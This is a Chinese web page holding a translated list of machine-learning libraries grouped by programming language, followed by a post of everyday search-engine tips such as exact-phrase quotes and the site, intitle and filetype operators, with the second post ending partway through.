Neural Networks and Deep Learning:《神经网络和深度学习》一书的示例代码。官网

数据分析/数据可视化

rsruby:Ruby - R bridge。官网

data-visualization-ruby:关于数据可视化的Ruby Manor演示的源代码和支持内容。官网

ruby-plot:将gnuplot包装为Ruby形式,特别适合将ROC曲线转化为svg文件。官网

plot-rb:基于Vega和D3的ruby绘图库。官网

scruffy:Ruby下出色的图形工具包。官网

SciRuby:官网

Glean:数据管理工具。官网

Bioruby:官网

Arel:官网

Misc 杂项

Big Data For Chimps:大数据处理严肃而有趣的指南书。官网

R

通用机器学习

Clever Algorithms For Machine Learning:官网。

Machine Learning For Hackers:官网。

Machine Learning Task View on CRAN:R语言机器学习包列表,按算法类型分组。官网。

caret:R语言150个机器学习算法的统一接口。官网

SuperLearner:该包集合了多种机器学习算法与subsemble

Introduction to Statistical Learning:官网。

数据分析/数据可视化

Learning Statistics Using R:官网

ggplot2:基于图形语法的数据可视化包。官网

Scala

自然语言处理

ScalaNLP:机器学习和数值计算库的套装。官网

Breeze:Scala用的数值处理库。官网

Chalk:自然语言处理库。官网

FACTORIE:可部署的概率建模工具包,用Scala实现的软件库为用户提供简洁的语言来创建关系因素图,评估参数并进行推断。官网。

数据分析/数据可视化

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

Scalding:CAscading的Scala接口。官网

Summing Bird:用Scalding 和 Storm进行Streaming MapReduce。官网

Algebird:Scala的抽象代数工具。官网

xerial:Scala的数据管理工具。官网

simmer:化简你的数据,进行代数聚合的unix过滤器。官网

PredictionIO:供软件开发者和数据工程师用的机器学习服务器。官网

BIDMat:支持大规模探索性数据分析的CPU和GPU加速矩阵库。官网

通用机器学习

Conjecture:Scalding下可扩展的机器学习框架。官网

brushfire:scalding下的决策树工具。官网

ganitha:基于scalding的机器学习程序库。官网

adam:使用Apache Avro, Apache Spark 和 Parquet的基因组处理引擎,有专用的文件格式,Apache 2软件许可。官网

bioscala:Scala语言可用的生物信息学程序库。官网

BIDMach:机器学习CPU和GPU加速库。官网

原文链接:http://www.kubiji.cn/topic-id2911.html 查看全部
我想很多程序员应该记得 GIThUB 上有一个 Awesome - XXX 系列的资源整理。awesome-machine-learning 就是 josephmisiti 发起维护的机器学习资源列表,内容包括了机器学习领域的框架、库以及软件(按编程语言排序)。

C++

计算机视觉

CCV:基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库。官网

OpenCV:它提供C++、C、Python、Java 以及 MATLAB接口。并支持Windows、Linux、Android 和 Mac OS操作系统。官网

通用机器学习

MLPack:官网。

DLib:官网。

ecogg:官网。

shark:官网。

Closure

通用机器学习

Closure Toolbox:Clojure语言库与工具的分类目录。官网

Go

自然语言处理

go-porterstemmer:一个Porter词干提取算法的原生Go语言净室实现。官网

paicehusk:Paice/Husk词干提取算法的Go语言实现。官网

snowball:Go语言版的Snowball词干提取器。官网

通用机器学习

Go Learn:Go语言机器学习库。官网

go-pr:Go语言机器学习包。官网

bayesian:Go语言朴素贝叶斯分类库。官网

go-galib:Go语言遗传算法库。官网

数据分析/数据可视化

go-graph:Go语言图形库。官网

SVGo:Go语言的SVG生成库。官网

Java

自然语言处理

CoreNLP:斯坦福大学的CoreNLP提供一系列的自然语言处理工具,输入原始英语文本,可以给出单词的基本形式(下面Stanford开头的几个工具都包含其中)。官网

Stanford Parser:一个自然语言解析器。官网

Stanford POS Tagger:一个词性分类器。官网

Stanford Name Entity Recognizer:Java实现的名称识别器。官网

Stanford Word Segmenter:分词器,很多NLP工作中都要用到的标准预处理步骤。官网。

Tregex、Tsurgeon与Semgrex:用来在树状数据结构中进行模式匹配,基于树关系以及节点匹配的正则表达式(名字是“tree regular expressions"的缩写)官网

Stanford Phrasal:最新的基于统计短语的机器翻译系统,java编写。官网

Stanford Tokens Regex:用以定义文本模式的框架。官网

Stanford Temporal Tagger:SUTime是一个识别并标准化时间表达式的库。官网

Stanford SPIED:在种子集上使用模式,以迭代方式从无标签文本中学习字符实体。官网。

Stanford Topic Modeling Toolbox:为社会科学家及其他希望分析数据集的人员提供的主题建模工具。官网

Twitter Text Java:Java实现的推特文本处理库。官网

MALLET:基于Java的统计自然语言处理、文档分类、聚类、主题建模、信息提取以及其他机器学习文本应用包。官网

OpenNLP:处理自然语言文本的机器学习工具包。官网

LingPipe:使用计算机语言学处理文本的工具包。官网

通用机器学习

MLlib in Apache Spark:Spark中的分布式机器学习程序库。官网

Mahout:分布式的机器学习库。官网

Stanford Classifier:斯坦福大学的分类器。官网

Weka:Weka是数据挖掘方面的机器学习算法集。官网

ORYX:提供一个简单的大规模实时机器学习/预测分析基础架构。官网

数据分析/数据可视化

Hadoop:大数据分析平台。官网

Spark:快速通用的大规模数据处理引擎。官网

Impala:为Hadoop实现实时查询。官网

Javascript

自然语言处理

Twitter-text-js:JavaScript实现的推特文本处理库。官网

NLP.js:javascript及coffeescript编写的NLP工具。官网

natural:Node下的通用NLP工具。官网

Knwl.js:JS编写的自然语言处理器。官网

数据分析/数据可视化

D3.js:官网。

High Charts:官网。

NVD3.js:官网。

dc.js:官网。

chartjs:官网。

dimple:官网。

amCharts:官网。

通用机器学习

Convnet.js:训练深度学习模型的JavaScript库。官网

Clustering.js:用JavaScript实现的聚类算法,供Node.js及浏览器使用。官网

Decision Trees:Node.js实现的决策树,使用ID3算法。官网

Node-fann:Node.js下的快速人工神经网络库。官网

Kmeans.js:k-means算法的简单Javascript实现,供Node.js及浏览器使用。官网

LDA.js:供Node.js用的LDA主题建模工具。官网

Learning.js:逻辑回归/c4.5决策树的JavaScript实现。官网

Machine Learning:Node.js的机器学习库。官网

Node-SVM:Node.js的支持向量机。官网

Brain:JavaScript实现的神经网络。官网

Bayesian-Bandit:贝叶斯强盗算法的实现,供Node.js及浏览器使用。官网

Julia

通用机器学习

PGM:Julia实现的概率图模型框架。官网

DA:Julia实现的正则化判别分析包。官网

Regression:回归分析算法包(如线性回归和逻辑回归)。官网

Local Regression:局部回归,非常平滑!。官网

Naive Bayes:朴素贝叶斯的简单Julia实现。官网

Mixed Models:(统计)混合效应模型的Julia包。官网

Simple MCMC:Julia实现的基本mcmc采样器。官网。

Distance:Julia实现的距离评估模块。官网

Decision Tree:决策树分类器及回归分析器。官网

Neural:Julia实现的神经网络。官网

MCMC:Julia下的MCMC工具。官网

GLM:Julia写的广义线性模型包。官网

Online Learning:官网

GLMNet:GMLNet的Julia包装版,适合套索/弹性网模型。官网

Clustering:k-means, dp-means等数据聚类的基本函数。官网

SVM:Julia下的支持向量机。官网

Kernal Density:Julia下的核密度估计器。官网

Dimensionality Reduction:降维算法。官网

NMF:Julia下的非负矩阵分解包。官网

ANN:Julia实现的神经网络。官网

自然语言处理

Topic Models:Julia下的主题建模。官网

Text Analysis:Julia下的文本分析包。官网

数据分析/数据可视化

Graph Layout:纯Julia实现的图布局算法。官网

Data Frames Meta:DataFrames的元编程工具。官网

Julia Data:处理表格数据的Julia库。官网

Data Read:从Stata、SAS、SPSS读取文件。官网

Hypothesis Tests:Julia中的假设检验包。官网

Gladfly:Julia编写的灵巧的统计绘图系统。官网

Stats:Julia编写的统计测试函数包。官网

RDataSets:读取R语言中众多可用的数据集的Julia函数包。官网

DataFrames:处理表格数据的Julia库。官网

Distributions:概率分布及相关函数的Julia包。官网

Data Arrays:元素值可以为空的数据结构。官网

Time Series:Julia的时间序列数据工具包。官网

Sampling:Julia的基本采样算法包。官网

杂项/演示文稿

DSP:数字信号处理。官网

JuliaCon Presentations:Julia大会上的演示文稿。官网

SignalProcessing:Julia的信号处理工具。官网

Images:Julia的图片库。官网


Lua

通用机器学习

Torch7。

cephes:—Cephes数学函数库,包装成Torch可用形式提供并包装了超过180个特殊的数学函数,由Stephen L. Moshier开发,是SciPy的核心,应用于很多场合。官网

graph:供Torch使用的图形包。官网

randomkit:从Numpy提取的随机数生成包,包装成Torch可用形式。官网

signal:Torch-7可用的信号处理工具包,可进行FFT, DCT, Hilbert, cepstrums, stft等变换。官网

nn:Torch可用的神经网络包。官网

nngraph:为nn库提供图形计算能力。官网

nnx:一个不稳定实验性的包,扩展Torch内置的nn库。官网

optim:Torch可用的优化算法库,包括 SGD, Adagrad, 共轭梯度算法, LBFGS, RProp等算法。官网

unsup:Torch下的非监督学习包提供的模块与nn(LinearPsd、ConvPsd、AutoEncoder、...)及独立算法(k-means、PCA)等兼容。官网

manifold:操作流形的包。官网

svm:Torch的支持向量机库。官网

lbfgs:将liblbfgs包装为FFI接口。官网

vowpalwabbit:老版的vowpalwabbit对torch的接口。官网

OpenGM:OpenGM是C++编写的图形建模及推断库,该binding可以用Lua以简单的方式描述图形,然后用OpenGM优化。官网。

sphagetti:MichaelMathieu为torch7编写的稀疏线性模块。官网

LuaSHKit:将局部敏感哈希库SHKit包装成lua可用形式。官网

kernel smoothing:KNN、核权平均以及局部线性回归平滑器。官网

cutorch:torch的CUDA后端实现。官网

cunn:torch的CUDA神经网络实现。官网

imgraph:torch的图像/图形库,提供从图像创建图形、分割、建立树、又转化回图像的例程。官网

videograph:torch的视频/图形库,提供从视频创建图形、分割、建立树、又转化回视频的例程。官网

saliency:积分图像的代码和工具,用来从快速积分直方图中寻找兴趣点。官网

stitch:使用hugin拼合图像并将其生成视频序列。官网

sfm:运动场景束调整/结构包。官网

fex:torch的特征提取包,提供SIFT和dSIFT模块。官网

OverFeat:当前最高水准的通用密度特征提取器。官网

Numeric Lua:官网。

Lunatic Python:官网。

SciLua:官网。

Lua - Numerical Algorithms:官网。

Lunum:官网。

演示及脚本

Core torch7 demos repository:核心torch7演示程序库。官网

线性回归、逻辑回归

人脸检测(训练和检测是独立的演示)

基于mst的断词器

train-a-digit-classifier

train-autoencoder

optical flow demo

train-on-housenumbers

train-on-cifar

tracking with deep nets

kinect demo

滤波可视化

saliency-networks

Training a Convnet for the Galaxy-Zoo Kaggle challenge(CUDA demo):官网

Music Tagging:torch7下的音乐标签脚本。官网

torch-datasets:官网 读取几个流行的数据集的脚本,包括

BSR 500

CIFAR-10

COIL

Street View House Numbers

MNIST

NORB

Atari2600:在Arcade Learning Environment模拟器中用静态帧生成数据集的脚本。官网

Matlab

计算机视觉

Contourlets:实现轮廓波变换及其使用函数的MATLAB源代码。官网 。

Shearlets:剪切波变换的MATLAB源码。官网

Curvelets:Curvelet变换的MATLAB源码(Curvelet变换是对小波变换向更高维的推广,用来在不同尺度角度表示图像)。官网

Bandlets:Bandlets变换的MATLAB源码。官网

自然语言处理

NLP:一个Matlab的NLP库。官网

通用机器学习

Training a deep autoencoder or a classifier on MNIST digits:在MNIST字符数据集上训练一个深度的autoencoder或分类器。官网

t-Distributed Stochastic Neighbor Embedding:获奖的降维技术,特别适合于高维数据集的可视化。官网

Spider:Matlab机器学习的完整面向对象环境。官网

LibSVM:支持向量机程序库。官网

LibLinear:大型线性分类程序库。官网

Machine Learning Module:M. A .Girolami教授的机器学习课程,包括PDF、讲义及代码。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

Pattern Recognition Toolbox:Matlab中的模式识别工具包、完全面向对象。官网

数据分析/数据可视化

matlab_gbl:处理图像的Matlab包。官网

gamic:图像算法纯Matlab高效实现,对MatlabBGL的mex函数是个补充。官网


.NET

计算机视觉

OpenCVDotNet:包装器,使.NET程序能使用OpenCV代码。官网

Emgu CV:跨平台的包装器,能在Windows、Linus、Mac OS X、iOS和Android上编译。官网

自然语言处理

Stanford.NLP for .NET:斯坦福大学NLP包在.NET上的完全移植,还可作为NuGet包进行预编译。官网 。

通用机器学习

Accord.MachineLearning:随机抽样一致性算法、交叉验证、网格搜索这个包是Accord.NET框架的一部分支持向量机、决策树、朴素贝叶斯模。型、K-means、高斯混合模型和机器学习应用的通用算法。官网:

Vulpes:F#语言实现的Deep belief和深度学习包,它在Alea.cuBase下利用CUDA GPU来执行。官网

Encog:先进的神经网络和机器学习框架,包括用来创建多种网络的类,也支。持神经网络需要的数据规则化及处理的类它的训练采用多线程弹性传播。它也能使用GPU加快处理时间提供了图形化界面来帮助建模和训练神经网络。官网

Neural Network Designer:这是一个数据库管理系统和神经网络设计器设计器用WPF开发,也是一个UI,你可以设计你的神经网络、查询网络、创建并配置聊天机器人,它能问问题,并从你的反馈中学习这些机器人甚至可以从网络搜集信息用来输出,或是用来学习。官网

数据分析/数据可视化

numl:numl这个机器学习库,目标就是简化预测和聚类的标准建模技术。官网

Math.NET Numerics:Math.NET项目的数值计算基础,着眼提供科学、工程以及日常数值计算的方法和算法支持 Windows、Linux 和 。Mac上的 .Net 4.0、.Net 3.5 和 Mono ,Silverlight 5、WindowsPhone/SL 8、WindowsPhone 8.1 以及装有 PCL Portable Profiles 47 及 344的Windows 8, 装有 Xamarin的Android/iOS。官网

Sho:Sho是数据分析和科学计算的交互式环境,可以让你将脚本(IronPython语言)和编译的代码(.NET)无缝连接,以快速灵活的建立原型。官网这个环境包括强大高效的库,如线性代数、数据可视化,可供任何.NET语言使用,还为快速开发提供了功能丰富的交互式shell

Python

计算机视觉

SimpleCV:开源计算机视觉框架,可以访问如OpenCV等高性能计算机视觉库使用Python编写,可以在Mac、Windows以及Ubuntu上运行。官网。

自然语言处理

NLTK:一个领先的平台,用来编写处理人类语言数据的Python程序。官网

Pattern:Python可用的web挖掘模块,包括自然语言处理、机器学习等工具。官网

TextBlob:为普通自然语言处理任务提供一致的API,以NLTK和Pattern为基础,并和两者都能很好兼容。官网。

jieba:中文断词工具。官网

SnowNLP:中文文本处理库。官网

loso:另一个中文断词库。官网

genius:基于条件随机域的中文断词库。官网

nut:自然语言理解工具包。官网

通用机器学习

Bayesian Methods for Hackers:Python语言概率规划的电子书。官网

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

scikit-learn:基于SciPy的机器学习模块。官网

graphlab-create:包含多种机器学习模块的库(回归、聚类、推荐系统、图分析等),基于可以磁盘存储的DataFrame。官网

BigML:连接外部服务器的库。官网

pattern:Python的web挖掘模块。官网

NuPIC:Numenta公司的智能计算平台。官网

Pylearn2:基于Theano的机器学习库。官网

hebel:Python编写的使用GPU加速的深度学习库。官网

gensim:主题建模工具。官网

PyBrain:另一个机器学习库。官网

Crab:可扩展的、快速推荐引擎。官网

python-recsys:Python实现的推荐系统。官网

thinking bayes:关于贝叶斯分析的书籍。官网

Restricted Boltzmann Machines:Python实现的受限波尔兹曼机。官网

Bolt:在线学习工具箱。官网

CoverTree:cover tree的Python实现,scipy.spatial.kdtree便捷的替代。官网

nilearn:Python实现的神经影像学机器学习库。官网

Shogun:机器学习工具箱。官网

Pyevolve:遗传算法框架。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

breze:深度及递归神经网络的程序库,基于Theano。官网

数据分析/数据可视化

SciPy:基于Python的数学、科学、工程开源软件生态系统。官网

NumPy:Python科学计算基础包。官网

Numba:Python的低级虚拟机JIT编译器,Cython and NumPy的开发者编写,供科学计算使用。官网

NetworkX:为复杂网络使用的高效软件。官网

Pandas:这个库提供了高性能、易用的数据结构及数据分析工具。官网

Open Mining:Python中的商业智能工具(Pandas web接口)。官网

PyMC:MCMC采样工具包。官网

zipline:Python的算法交易库。官网

PyDy:全名Python Dynamics,协助基于NumPy、SciPy、IPython以及 matplotlib的动态建模工作流。官网

SymPy:符号数学Python库。官网

statsmodels:Python的统计建模及计量经济学库。官网

astropy:Python天文学程序库,社区协作编写。官网

matplotlib:Python的2D绘图库。官网

bokeh:Python的交互式Web绘图库。官网

plotly:Python and matplotlib的协作web绘图库。官网

vincent:将Python数据结构转换为Vega可视化语法。官网

d3py:Python的绘图库,基于D3.js。官网

ggplot:和R语言里的ggplot2提供同样的API。官网

Kartograph.py:Python中渲染SVG图的库,效果漂亮。官网

pygal:Python下的SVG图表生成器。官网

pycascading:官网

杂项脚本/iPython笔记/代码库

pattern_classification:官网

thinking stats 2:官网

hyperopt:官网

numpic:官网

2012-paper-diginorm:官网

ipython-notebooks:官网

decision-weights:官网

Sarah Palin LDA:Sarah Palin关于主题建模的电邮。官网

Diffusion Segmentation:基于扩散方法的图像分割算法集合。官网

Scipy Tutorials:SciPy教程,已过时,请查看scipy-lecture-notes。官网

Crab:Python的推荐引擎库。官网

BayesPy:Python中的贝叶斯推断工具。官网

scikit-learn tutorials:scikit-learn学习笔记系列。官网

sentiment-analyzer:推特情绪分析器。官网

group-lasso:坐标下降算法实验,应用于(稀疏)群套索模型。官网

mne-python-notebooks:使用 mne-python进行EEG/MEG数据处理的IPython笔记。官网

pandas cookbook:使用Python pandas库的方法书。官网

climin:机器学习的优化程序库,用Python实现了梯度下降、LBFGS、rmsprop、adadelta 等算法。官网

Kaggle竞赛源代码

wiki challange:Kaggle上一个维基预测挑战赛 Dell Zhang解法的实现。官网

kaggle insults:Kaggle上”从社交媒体评论中检测辱骂“竞赛提交的代码。官网

kaggle_acquire-valued-shoppers-challenge:Kaggle预测回头客挑战赛的代码。官网

kaggle-cifar:Kaggle上CIFAR-10 竞赛的代码,使用cuda-convnet。官网

kaggle-blackbox:Kaggle上blackbox赛代码,关于深度学习。官网

kaggle-accelerometer:Kaggle上加速度计数据识别用户竞赛的代码。官网

kaggle-advertised-salaries:Kaggle上用广告预测工资竞赛的代码。官网

kaggle amazon:Kaggle上给定员工角色预测其访问需求竞赛的代码。官网

kaggle-bestbuy_big:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(大数据版)。官网

kaggle-bestbuy_small:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(小数据版)。官网

Kaggle Dogs vs. Cats:Kaggle上从图片中识别猫和狗竞赛的代码。官网

Kaggle Galaxy Challenge:Kaggle上遥远星系形态分类竞赛的优胜代码。官网

Kaggle Gender:Kaggle竞赛,从笔迹区分性别。官网

Kaggle Merck:Kaggle上预测药物分子活性竞赛的代码(默克制药赞助)。官网

Kaggle Stackoverflow:Kaggle上 预测StackOverflow网站问题是否会被关闭竞赛的代码。官网

wine-quality:预测红酒质量。官网

Ruby

自然语言处理

Treat:文本检索与注释工具包,Ruby上我见过的最全面的工具包。官网

Ruby Linguistics:这个框架可以用任何语言为Ruby对象构建语言学工具包。括一个语言无关的通用前端,一个将语言代码映射到语言名的模块,和一个含有很有英文语言工具的模块。官网

Stemmer:使得Ruby可用 libstemmer_c中的接口。官网

Ruby Wordnet:WordNet的Ruby接口库。官网

Raspel:aspell绑定到Ruby的接口。官网

UEA Stemmer:UEALite Stemmer的Ruby移植版,供搜索和检索用的保守的词干分析器。官网

Twitter-text-rb:该程序库可以将推特中的用户名、列表和话题标签自动连接并提取出来。官网

通用机器学习

Ruby Machine Learning:Ruby实现的一些机器学习算法。官网

Machine Learning Ruby:官网

jRuby Mahout:精华!在JRuby世界中释放了Apache Mahout的威力。官网

CardMagic-Classifier:可用贝叶斯及其他分类法的通用分类器模块。官网

Neural Networks and Deep Learning:《神经网络和深度学习》一书的示例代码。官网

数据分析/数据可视化

rsruby:Ruby - R bridge。官网

data-visualization-ruby:关于数据可视化的Ruby Manor演示的源代码和支持内容。官网

ruby-plot:将gnuplot包装为Ruby形式,特别适合将ROC曲线转化为svg文件。官网

plot-rb:基于Vega和D3的ruby绘图库。官网

scruffy:Ruby下出色的图形工具包。官网

SciRuby:官网

Glean:数据管理工具。官网

Bioruby:官网

Arel:官网

Misc 杂项

Big Data For Chimps:大数据处理严肃而有趣的指南书。官网

R

通用机器学习

Clever Algorithms For Machine Learning:官网。

Machine Learning For Hackers:官网。

Machine Learning Task View on CRAN:R语言机器学习包列表,按算法类型分组。官网。

caret:R语言150个机器学习算法的统一接口。官网

SuperLearner:该包集合了多种机器学习算法与subsemble

Introduction to Statistical Learning:官网。

数据分析/数据可视化

Learning Statistics Using R:官网

ggplot2:基于图形语法的数据可视化包。官网

Scala

自然语言处理

ScalaNLP:机器学习和数值计算库的套装。官网

Breeze:Scala用的数值处理库。官网

Chalk:自然语言处理库。官网

FACTORIE:可部署的概率建模工具包,用Scala实现的软件库为用户提供简洁的语言来创建关系因素图,评估参数并进行推断。官网。

数据分析/数据可视化

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

Scalding:CAscading的Scala接口。官网

Summing Bird:用Scalding 和 Storm进行Streaming MapReduce。官网

Algebird:Scala的抽象代数工具。官网

xerial:Scala的数据管理工具。官网

simmer:化简你的数据,进行代数聚合的unix过滤器。官网

PredictionIO:供软件开发者和数据工程师用的机器学习服务器。官网

BIDMat:支持大规模探索性数据分析的CPU和GPU加速矩阵库。官网

通用机器学习

Conjecture:Scalding下可扩展的机器学习框架。官网

brushfire:scalding下的决策树工具。官网

ganitha:基于scalding的机器学习程序库。官网

adam:使用Apache Avro, Apache Spark 和 Parquet的基因组处理引擎,有专用的文件格式,Apache 2软件许可。官网

bioscala:Scala语言可用的生物信息学程序库。官网

BIDMach:机器学习CPU和GPU加速库。官网

原文链接:http://www.kubiji.cn/topic-id2911.html

搜索引擎科学上网技能大放送

开源技术Nock 发表了文章 • 0 个评论 • 63 次浏览 • 5 天前 • 来自相关话题

在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。

常用引擎推荐

No.1 谷歌(https://google.com)




No.2 百度 (https://www.baidu.com/)




No.3 鸭鸭快跑 (https://duckduckgo.com/)




No.4 必应 (http://cn.bing.com/ )




No.5 搜狗 (https://www.sogou.com/)





排错搜索过程






1、准确搜索

最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。





2、加号

在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。





3、减号-排除关键词

如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。





4、OR或逻辑搜索

在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。





5、同义词搜索​

有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。





6、善用星号

正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:





7、在两个数值之间进行搜索

在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。





8、inurl  

该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop





9、intitle在网页标题、链接和主体中搜索关键词

有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。





10、allintitle

allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。





11、allinurl

与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 





12、site站内搜索

绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。





13、filetype

用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 





14、搜索相关网站

查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。





15、搜索技能的组合使用

你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。





其他技巧





随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/  查看全部
在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。


常用引擎推荐


No.1 谷歌https://google.com
google.png

No.2 百度https://www.baidu.com/
baidu.png

No.3 鸭鸭快跑 (https://duckduckgo.com/
duckduckgo.png

No.4 必应 (http://cn.bing.com/ )
bing.png

No.5 搜狗 (https://www.sogou.com/)
sogou.png


排错搜索过程


soerror.png


1、准确搜索


最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。
yinhao.png


2、加号


在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。
open-source-tech.png


3、减号-排除关键词


如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。
jianhao.png


4、OR或逻辑搜索


在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。
orlink.png


5、同义词搜索​


有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。
daxue.png


6、善用星号


正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:
xinhao.png


7、在两个数值之间进行搜索


在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。
kingdom.png


8、inurl  


该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop
inurl.png


9、intitle在网页标题、链接和主体中搜索关键词


有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。
intitle.png


10、allintitle


